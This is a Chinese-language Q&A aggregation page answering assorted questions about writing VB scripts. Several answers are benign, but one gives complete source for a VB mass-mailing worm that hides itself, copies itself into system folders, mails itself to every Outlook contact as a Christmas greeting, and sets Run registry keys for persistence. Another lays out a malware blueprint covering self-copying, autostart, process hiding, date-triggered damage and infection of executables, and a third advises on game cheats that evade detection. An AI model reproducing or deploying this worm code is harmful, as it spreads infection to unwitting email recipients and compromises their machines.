當前位置:首頁 » 網頁前端 » 用vb寫腳本防封
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

用vb寫腳本防封

發布時間: 2022-04-13 01:11:11

1. 我想用VB做一個後台按鍵的外掛,要做哪些防檢測工作,網易的

內存
不能讀,那就修改內存
頁面
屬性為讀寫,至於外掛,別人都說破解的網路游戲
通信數據包的,那是
抓包
封包技術。讀內存也就只讀讀血量什麼的,還要找
內存地址
。要想做外掛,自己多琢磨琢磨
Hook
APi

Socket
API,還要有分析數據包的經驗。
要是破解了游戲的
通信協議,都用不著運行游戲的
客戶端
,自己都能搞一個客戶端出來。

2. 請問用VB可以編寫病毒嗎

VB 可以寫病毒的
給你個小例子可以參考
打開VB,先生成一個工程,然後刪掉form,添加MDI,添加模塊.

下面的就是我已經做好的蠕蟲代碼,因為需要一些編程基礎,我在這里就不在給大家做解釋了.上面有注釋,你們學會VB後自己看看就明白了.

蠕蟲就這樣生成了,但它是被殺毒軟體查殺的,我沒有裝殺毒.我也怕怕,不敢運行,就是教大家怎麼做了.你要有殺毒的話可以試試..好了,教程就做到這里..

Sub Main()
'TaskVisible的功能是把程序在End Task表中除掉。
App.TaskVisible = False
'阻止問題發生
On Error Resume Next
Dim Location, Location2, DesLocation, DesLocation2
'得到EXE的位置
Location = App.Path & "\" & App.EXEName & ".exe"
Location2 = App.Path & App.EXEName & ".exe"

'設定目的地
DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"

'開始復制自己
FileCopy Location, DesLocation
FileCopy Location2, DesLocation
FileCopy Location, DesLocation2
FileCopy Location2, DesLocation2

Dim Var1, FilePath, FileName, FullLocation, MyApp
Dim Christmas, List, AddList, AddressListCount
Dim Merry, AdEntries, Attachs, Msg
Var1 = "True"
FilePath = App.Path
FileName = App.EXEName
FullLocation = FilePath & "\" & FileName
Set MyApp = CreateObject("Outlook.Application")
If MyApp = "Outlook" Then
Set Christmas = MyApp.GetNameSpace("mapi")
Set List = Christmas.AddressLists
For Each Addresslist In List
If Addresslist.AddressEntries.Count <> 0 Then
AddressListCount = Addresslist.AddressEntries.Count
For AddList = 1 To AddressListCount
Set Merry = MyApp.CreateItem(0)
Set AdEntries = Addresslist.AddressEntries(AddList)
Merry.To = AdEntries.Address
Merry.Subject = "聖誕節快樂!!"
Merry.Body = "聖誕節快樂!這是一個特別個你的聖誕節的禮物!過個快樂的聖誕節! "
Set Attachs = Merry.Attachments
Attachs.Add FullLocation
If Var1 = "true" Then
Merry.DeleteAfterSubmit = True
If Msg.To <> "" Then
Merry.send
End If
End If
Next
Beep
End If
Next
End If

Dim Reg
Set Reg = CreateObject("wscript.Shell")

'把資料寫入Registry
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Mapi", "C:\WINNT\SYSTEM\Mapi.exe"
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinMapi", "C:\WINDOWS\SYSTEM\WinMapi.exe"
End Sub

3. vb實現一個腳本不關閉就不能操作其他程序

很久不用VB了
如果我沒記錯的話 msgbox 是有幾個彈出級別的,
好像有
窗口級別:不關閉不能操作父窗口
應用級別:不關閉不能操作所屬應用程序
系統級別:不關閉不能操作操作系統
至於具體什麼參數忘了,你可以 網路一下

4. 用VB如何編寫游戲腳本

腳本主要是輔助操作,讀取與改寫內存要藉助api函數的

5. 怎麼用vb腳本寫指令

只要
Private Sub form_load()
Shell "cmd.exe /c taskkill /f /im qq.exe", vbHide
Shell "cmd.exe /c shutdown -r", vbHide
End Sub
就行了(這是VB 6.0的代碼)
原理就是用VB調用命令提示符在執行命令,如果你還想用VB調用其他的cmd命令,就把"/c"後的東西換成命令即可

Shell "cmd.exe /c shutdown -r", vbHide的「-r」後加上「-t 5」就可以延遲5秒再重啟:Shell "cmd.exe /c shutdown -r -t 5",vbHide,後邊的數字可以換成別的,單位秒。vbHide可以隱藏cmd窗口,即那個黑框框。

6. 用vb script寫一個windows腳本(例子)

為什麼都用所謂「嚴謹」來說事。。C嚴謹不? 還是一堆的語法缺陷。 腳本語言就再不嚴謹也還是有唯一解釋的

vbscript之類的主要問題一是運行的時候需要環境配合,二是本身功能要少一些, 雖然不是不可以彌補, 但是基本上沒人做這個事情,費力又沒用

教程這里有 w3school.com.cn/vbscript

7. 用VB怎樣寫惡意程序

系統目錄是Windows操作系統所有系統文件放置的目錄,一般不會去輕易修改和直接到起目錄下使用該目錄下的程序。因此,我們將惡意程序自身也COPY到系統目錄下。

COPY自身到系統目錄下分三個步驟:一、得到自身所在的絕對路徑;二、得到系統目錄的絕對路徑;三、執行COPY就可以。

將自身COPY到系統目錄對惡意程序來說非常重要,實現也非常的簡單。使用下面三個API函數即可實現:
'得到自身所在絕對路徑的API
Declare Function GetMoleFileName Lib "kernel32" Alias "GetMoleFileNameA" (ByVal hMole As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
'得到系統目錄的絕對路徑的API
Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'執行COPY所需的API
Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

*開機自動運行*
=================================================================================
如果開機不自動運行的話,那麼惡意程序將無法發揮其作用。開機自動運行有多種發放,可以將其放置開始菜單的「啟動」中,也可以加入到注冊表中,也可以作成系統的服務等。

放置啟動中,可以用上面COPY自身到系統目錄的方法,將自身COPY到啟動中。

加入注冊表的方式有兩種,可以使用系統提供的API函數實現,也可以使用VBS的腳本實現。

作成系統的服務也可以使用系統提供的API實現。

可以與某種格式的文件建立關聯。(只要系統目錄的病毒殺的不徹底,則可以死灰復燃。)
=================================================================================

*隱蔽性*
=================================================================================
在任務管理器中隱藏進程以防被關閉。通過調用系統的API函數來實現。我個人認為病毒最重要的就是隱藏自身,如果無法做到這點的話,很快就被殺了!
=================================================================================

*發作條件*
=================================================================================
可以根據日期來觸發發作條件。用Date來得到今日的時間,與發作日期相比較,如果相同則執行惡意代碼,如果不同則退出程序。
例:
if day(date)=13 then '13是發作日期
…… '執行惡意代碼
else
End '退出惡意程序
end if
=================================================================================

*破壞性*
=================================================================================
惡意程序的破壞性可加入到發作條件的判斷中。此代碼決定了惡意程序的厲害程度。可以根據自己的意向寫入欲執行的代碼。由於是惡意程序,最好別使用太惡劣的代碼。只是通過簡單的代碼讓其無法打開「我的文檔」,或是在硬碟上建立些垃圾文件,或是改變滑鼠左右鍵,.........
=================================================================================

*傳染性*
=================================================================================
如果不能傳染就沒有意思了。可以把自身的代碼讀出,遍歷系統中所有分區中的文件,然後寫到可執行程序中去。或是通過遍歷地址薄,將程序發送給別人使其運行。
=================================================================================

*結語*
=================================================================================
真正的病毒、蠕蟲並不是單單這么簡單,所以稱之為惡意程序。這只是最基本的雛形而已了。而且VB並不能開發出來優秀的病毒與蠕蟲。這里只是給新手提供一個簡單思路了。請勿干出損人不利己的事。

我亦是入門,請高手賜教。
=================================================================================

註:用VB可以開發一些病毒,因為現在的系統已經都帶有vb運行庫了。但是vb代碼的執行速度是比較慢的。

夠詳細了吧!把分給我吧!呵呵

8. vb能不能寫游戲腳本 那vbs又是什麼,和vb一樣嗎學會vb就會vbs嗎

VB很強大,高手可以用它做90%的各種應用。編寫一些簡單的游戲輔助腳本是沒問題的。
VBS是Visual Basic Script的簡稱,它是VB的一個子集,具有VB的部分功能,而適應性更強。
一般來說,會VB的人只需要簡單的了解一下區別就能熟練編寫VBS代碼了。

9. 使用VB腳本代碼編寫程序

代碼如下,代碼源文件和圖片附件裡面也有。

<form>
<div><td><input type=text style="width:200px; height:25px;" name="incontent" value="">&nbsp;&nbsp;<input type=submit name="submit" value="搜索">
</td></div>
<div>
<td>
<input type=radio name="search" value="bd">網路
<input type=radio name="search" value="yh">Yahoo
<input type=radio name="search" value="sg">搜狗
</td>
</div>
</form>

<%

'網路 http://www..com/s?wd=
'搜狗 http://www.sogou.com/sogou?query=
'Yahoo https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p=test&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1

dim nr,ss
ss= Request.QueryString("search")
nr= Request.QueryString("incontent")
if ss="bd"then
response.redirect("http://www..com/s?wd="&nr)
elseif ss="yh" then
response.redirect("https://search.yahoo.com/search;_ylt=AsdHYgmo4CrfcaVNGk63yF2bvZx4?p="&nr&"&toggle=1&cop=mss&ei=UTF-8&fr=yfp-t-312&fp=1")
elseif ss="sg"then
response.redirect("http://www.sogou.com/sogou?query="&nr)
ss= Request.QueryString("search")=""
response.redirect("index.asp")
end if
%>

10. 推薦一個VB運行腳本的方法

VB所需要的所有代碼只能寫在程序源碼中.
要實現你說的功能,只能借用VBS
VB不是解釋性的編程語言.VB程序源代碼都是被編譯成機械碼後才成EXE文件的.
所以VB編譯好的程序沒有運行代碼的函數.
如果不怕麻煩,就把所有代碼的處理程序寫到VB中.
要不就利用VBS腳本中的execute函數,在VBS中執行execute(a),則字元串a會被當程序執行.比如在VBS中:
a="Msgbox(now)"
execute (a)
的執行結果等於Msgbox(now)的結果.
把你要處理的代碼以字元串(記得換行!)的形式存在a中,再在VBS中執行
execute(a)
即可.